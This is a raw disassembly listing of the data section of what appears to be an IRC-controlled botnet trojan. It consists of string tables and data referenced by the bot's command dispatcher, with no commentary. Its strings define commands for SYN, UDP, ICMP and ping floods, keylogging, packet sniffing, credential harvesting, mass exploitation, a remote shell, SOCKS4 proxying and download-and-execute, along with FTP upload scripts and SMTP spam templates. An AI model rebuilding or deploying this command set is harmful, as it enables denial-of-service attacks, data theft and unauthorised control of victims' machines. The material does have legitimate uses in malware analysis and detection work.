		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4350F4	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40F8A5o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_435134	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2A49o
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40CE55+2A32o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40CE55+2A1Bo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40CE55+29FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40CE55+29C6o
		align 10h
dword_4351B0	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2948o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40CE55+2925o
		align 10h
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40CE55+2902o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40CE55+28EBo
		align 4
dword_43520C	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40CE55+28AAo
		dd 6D652835h, 36C6961h,	31032E32h, 646F6D35h, 32032029h
		dd 353103BBh, 654D2020h, 67617373h, 65732065h, 7420746Eh
		db 6Fh
byte_435249	db 20h,	25h, 73h	; DATA XREF: .nsp0:off_4244F4o
		dd 2Eh
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40CE55+2836o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_40CE55+279Ao
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40CE55+274Bo
		align 4
aUsa		db 'usa',0              ; DATA XREF: sub_40CE55+2734o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40CE55+271Do
		align 10h
aPg		db 'pg',0               ; DATA XREF: sub_40CE55+2706o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40CE55+26EFo
		align 10h
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40CE55+26D8o
		align 10h
aPu		db 'pu',0               ; DATA XREF: sub_40CE55+26C1o
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40CE55+26AAo
		align 10h
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40CE55+2693o
		align 10h
aVuln_start	db 'vuln.start',0       ; DATA XREF: sub_40CE55+2665o
		align 4
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40CE55+263Co
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40CE55+2625o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40CE55+260Eo
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40CE55+25F7o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: sub_40CE55+25E0o
		align 4
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: sub_40CE55+25C9o
		align 4
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: sub_40CE55+25B2o
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: sub_40CE55+259Bo
		align 10h
aD1		db 'd1',0               ; DATA XREF: sub_40CE55+2584o
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: sub_40CE55+256Do
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_40CE55+2556o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40CE55+253Fo
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: sub_40CE55+2528o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: sub_40CE55+2511o
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: sub_40CE55+24FAo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40CE55+24E3o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40CE55+24CCo
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40CE55+24A3o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40CE55+248Co
		align 10h
aBox_mv		db 'box.mv',0           ; DATA XREF: sub_40CE55+2475o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: sub_40CE55+245Eo
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: sub_40CE55+2447o
		align 4
aBox_findfile	db 'box.findfile',0     ; DATA XREF: sub_40CE55+2430o
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: sub_40CE55+2419o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: sub_40CE55+2402o
aDownload_upz	db 'download.upz',0     ; DATA XREF: sub_40CE55+23EBo
		align 10h
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: sub_40CE55+23D4o
		align 10h
aEnz_de		db 'enz.de',0           ; DATA XREF: sub_40CE55+23BDo
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: sub_40CE55+23A6o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: sub_40CE55+238Fo
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: sub_40CE55+2378o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40CE55+2361o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40CE55+234Ao
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40CE55+2333o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40CE55+231Co
		align 10h
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40CE55+2305o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40CE55+22EEo
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40CE55+22D7o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40CE55+22C0o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40CE55+22A9o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40CE55+2292o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: sub_40CE55+227Bo
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: sub_40CE55+2264o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: sub_40CE55+224Do
		align 10h
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: sub_40CE55+2236o
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: sub_40CE55+221Fo
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: sub_40CE55+2208o
		align 10h
aEnz_pm		db 'enz.pm',0           ; DATA XREF: sub_40CE55+21F1o
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: sub_40CE55+21DAo
aEnz_aa		db 'enz.aa',0           ; DATA XREF: sub_40CE55+21C3o
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: sub_40CE55+21ACo
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: sub_40CE55+2183o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: sub_40CE55+216Co
dword_435560	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF73o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 10h
dword_435590	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF6Co
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_4355C4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF24o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4355F4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+20C8o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
dword_435628	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EE85o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_43565C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+2026o
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40CE55+1FBEo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40CE55+1FA3o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40CE55+1F70o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40CE55+1F58o
		align 10h
dword_4356B0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EDA2o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_4356E4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+1F43o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_43571C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+1EBFo
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: sub_40CE55+1E9Bo
unk_435770	db    2			; DATA XREF: sub_40CE55+1E5Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_24	db ' Failed to start logging thread, error: <%d>.',0
		align 10h
unk_4357C0	db    2			; DATA XREF: sub_40CE55+1DEFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4357F4	db    2			; DATA XREF: sub_40CE55+1D71o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_435828	db    2			; DATA XREF: sub_40CE55:loc_40EBA2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_435868	db    2			; DATA XREF: sub_40CE55+1D43o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: sub_40CE55+1CE9o
		align 4
unk_4358C4	db    2			; DATA XREF: sub_40CE55:loc_40EB34o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 10h
unk_435900	db    2			; DATA XREF: sub_40CE55+1CD5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40CE55+1CB2o
					; sub_40CE55+1D20o
unk_435950	db    2			; DATA XREF: sub_40CE55+1CA7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_25	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_4359A0	db    2			; DATA XREF: sub_40CE55+1C38o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_4359E4	db    2			; DATA XREF: sub_40CE55+1BD4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40CE55+1BB4o
					; sub_40CE55+1CFEo
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40CE55+1B9Fo
		align 4
aBox_rf		db 'box.rf',0           ; DATA XREF: sub_40CE55+1B88o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: sub_40CE55+1B71o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: sub_40CE55+1B5Ao
		align 4
aBox_cmd	db 'box.cmd',0          ; DATA XREF: sub_40CE55+1B43o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40CE55+1B15o
					; sub_40CE55+1B2Co
		align 4
aEnz_v		db 'enz.v',0            ; DATA XREF: sub_40CE55+1AFEo
		align 10h
aEnz_visit	db 'enz.visit',0        ; DATA XREF: sub_40CE55+1AE7o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: sub_40CE55+1AD0o
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: sub_40CE55+1AB9o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40CE55+1AA2o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40CE55+1A8Bo
aBox_del	db 'box.del',0          ; DATA XREF: sub_40CE55+1A74o
aBox_delete	db 'box.delete',0       ; DATA XREF: sub_40CE55+1A5Do
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: sub_40CE55+1A46o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: sub_40CE55+1A2Fo
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: sub_40CE55+1A18o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: sub_40CE55+1A01o
		align 10h
aEnz_dn		db 'enz.dn',0           ; DATA XREF: sub_40CE55+19EAo
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: sub_40CE55+19D3o
aEnz_se		db 'enz.se',0           ; DATA XREF: sub_40CE55+19BCo
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: sub_40CE55+19A5o
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: sub_40CE55+198Eo
		align 10h
aBox_open	db 'box.open',0         ; DATA XREF: sub_40CE55+1977o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: sub_40CE55+1960o
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: sub_40CE55+1949o
		align 10h
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40CE55+1932o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40CE55+191Bo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40CE55+1904o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40CE55+18EDo
		align 10h
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40CE55+18D6o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40CE55+18BFo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: sub_40CE55+18A8o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: sub_40CE55+1891o
aEnz_pt		db 'enz.pt',0           ; DATA XREF: sub_40CE55+187Ao
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: sub_40CE55+1863o
		align 10h
aEnz_j		db 'enz.j',0            ; DATA XREF: sub_40CE55+184Co
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: sub_40CE55+1835o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: sub_40CE55+181Eo
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: sub_40CE55+1807o
		align 4
aVall		db 'vall',0             ; DATA XREF: sub_40CE55+17E1o
		align 10h
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: sub_40CE55+17CCo
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: sub_40CE55+17B7o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: sub_40CE55+17A2o
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: sub_40CE55+178Do
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: sub_40CE55+1778o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: sub_40CE55+1763o
		align 10h
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: sub_40CE55+174Eo
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40CE55+1739o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40CE55+1724o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40CE55+170Fo
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40CE55+16FAo
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: sub_40CE55+16E5o
		align 10h
aBox_getclip	db 'box.getclip',0      ; DATA XREF: sub_40CE55+16D0o
dword_435C8C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+16BFo
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40CE55+168Bo
					; sub_415050+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40CE55+167Eo
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40CE55+165Co
		align 10h
aEnz_who	db 'enz.who',0          ; DATA XREF: sub_40CE55+1643o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40CE55+1638o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40CE55+1633o
		align 10h
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: sub_40CE55+161Ao
		align 10h
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: sub_40CE55+1605o
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: sub_40CE55+15F0o
aBox_dll	db 'box.dll',0          ; DATA XREF: sub_40CE55+15DBo
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: sub_40CE55+15C6o
		align 10h
aBox_drv	db 'box.drv',0          ; DATA XREF: sub_40CE55+15B1o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: sub_40CE55+159Co
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: sub_40CE55+1587o
		align 10h
aBox_uptime	db 'box.uptime',0       ; DATA XREF: sub_40CE55+1572o
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: sub_40CE55+155Do
aBox_harvest	db 'box.harvest',0      ; DATA XREF: sub_40CE55+1548o
aBox_ps		db 'box.ps',0           ; DATA XREF: sub_40CE55+1533o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: sub_40CE55+151Eo
		align 4
aEnz_b3g	db 'enz.b3g',0          ; DATA XREF: sub_40CE55+1509o
aEnz_beg0ne	db 'enz.beg0ne',0       ; DATA XREF: sub_40CE55+14F4o
		align 4
aBox_si		db 'box.si',0           ; DATA XREF: sub_40CE55+14DFo
		align 10h
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: sub_40CE55+14CAo
aBox_ni		db 'box.ni',0           ; DATA XREF: sub_40CE55+14B5o
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: sub_40CE55+14A0o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40CE55+148Bo
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40CE55+1476o
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: sub_40CE55+1461o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: sub_40CE55+144Co
aEnz_al		db 'enz.al',0           ; DATA XREF: sub_40CE55+1437o
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: sub_40CE55+1422o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40CE55+140Do
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40CE55+13F8o
		align 4
dword_435E2C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+13C4o
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_435E64	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+13BDo
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: sub_40CE55+13A6o
		align 10h
aEnz_i		db 'enz.i',0            ; DATA XREF: sub_40CE55+1391o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: sub_40CE55+137Co
		align 10h
aEnz_s		db 'enz.s',0            ; DATA XREF: sub_40CE55+1367o
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: sub_40CE55+1352o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: sub_40CE55+133Do
		align 10h
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: sub_40CE55+1328o
		align 10h
aEnz_et3	db 'enz.et3',0          ; DATA XREF: sub_40CE55+1313o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: sub_40CE55+12FEo
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: sub_40CE55+12E9o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: sub_40CE55+12D4o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: sub_40CE55+12BFo
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: sub_40CE55+12AAo
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40CE55+129Fo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40CE55+129Ao
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: sub_40CE55+1281o
		align 10h
dword_435F40	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40CE55+1276o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40CE55+1271o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40CE55+1258o
		align 4
dword_435F68	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40CE55+124Do
aClone		db 'Clone',0            ; DATA XREF: sub_40CE55+1248o
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40CE55+122Fo
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: sub_40CE55+121Ao
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: sub_40CE55+1205o
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: sub_40CE55+11F0o
		align 4
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: sub_40CE55+11DBo
		align 4
dword_435FC8	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40CE55+11D0o
aServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: sub_40CE55+11B2o
dword_435FE4	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40CE55+11A7o
dword_435FF0	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+11A2o
dword_435FFC	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40CE55+1189o
dword_43600C	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40CE55+117Eo
dword_436018	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1179o
dword_436024	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40CE55+1160o
dword_436034	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40CE55+1155o
dword_436040	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1150o
dword_43604C	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40CE55+1137o
dword_43605C	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+112Co
dword_436068	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+1127o
dword_436074	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40CE55+110Eo
dword_436080	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40CE55+1103o
dword_436090	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40CE55+10FEo
aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: sub_40CE55+10E5o
dword_4360B4	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40CE55+10DAo
dword_4360C0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40CE55+10D5o
dword_4360CC	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40CE55+10BCo
dword_4360D4	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40CE55+10B4o
dword_4360E0	dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: sub_40CE55+1096o
dword_4360F0	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40CE55+108Eo
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: sub_40CE55+1070o
		align 4
dword_436114	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40CE55+104Eo
aServer		db 'Server',0           ; DATA XREF: sub_40CE55+1049o
					; sub_40CE55+1089o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: sub_40CE55+1030o
		align 10h
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: sub_40CE55+101Bo
		align 10h
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: sub_40CE55+1006o
		align 4
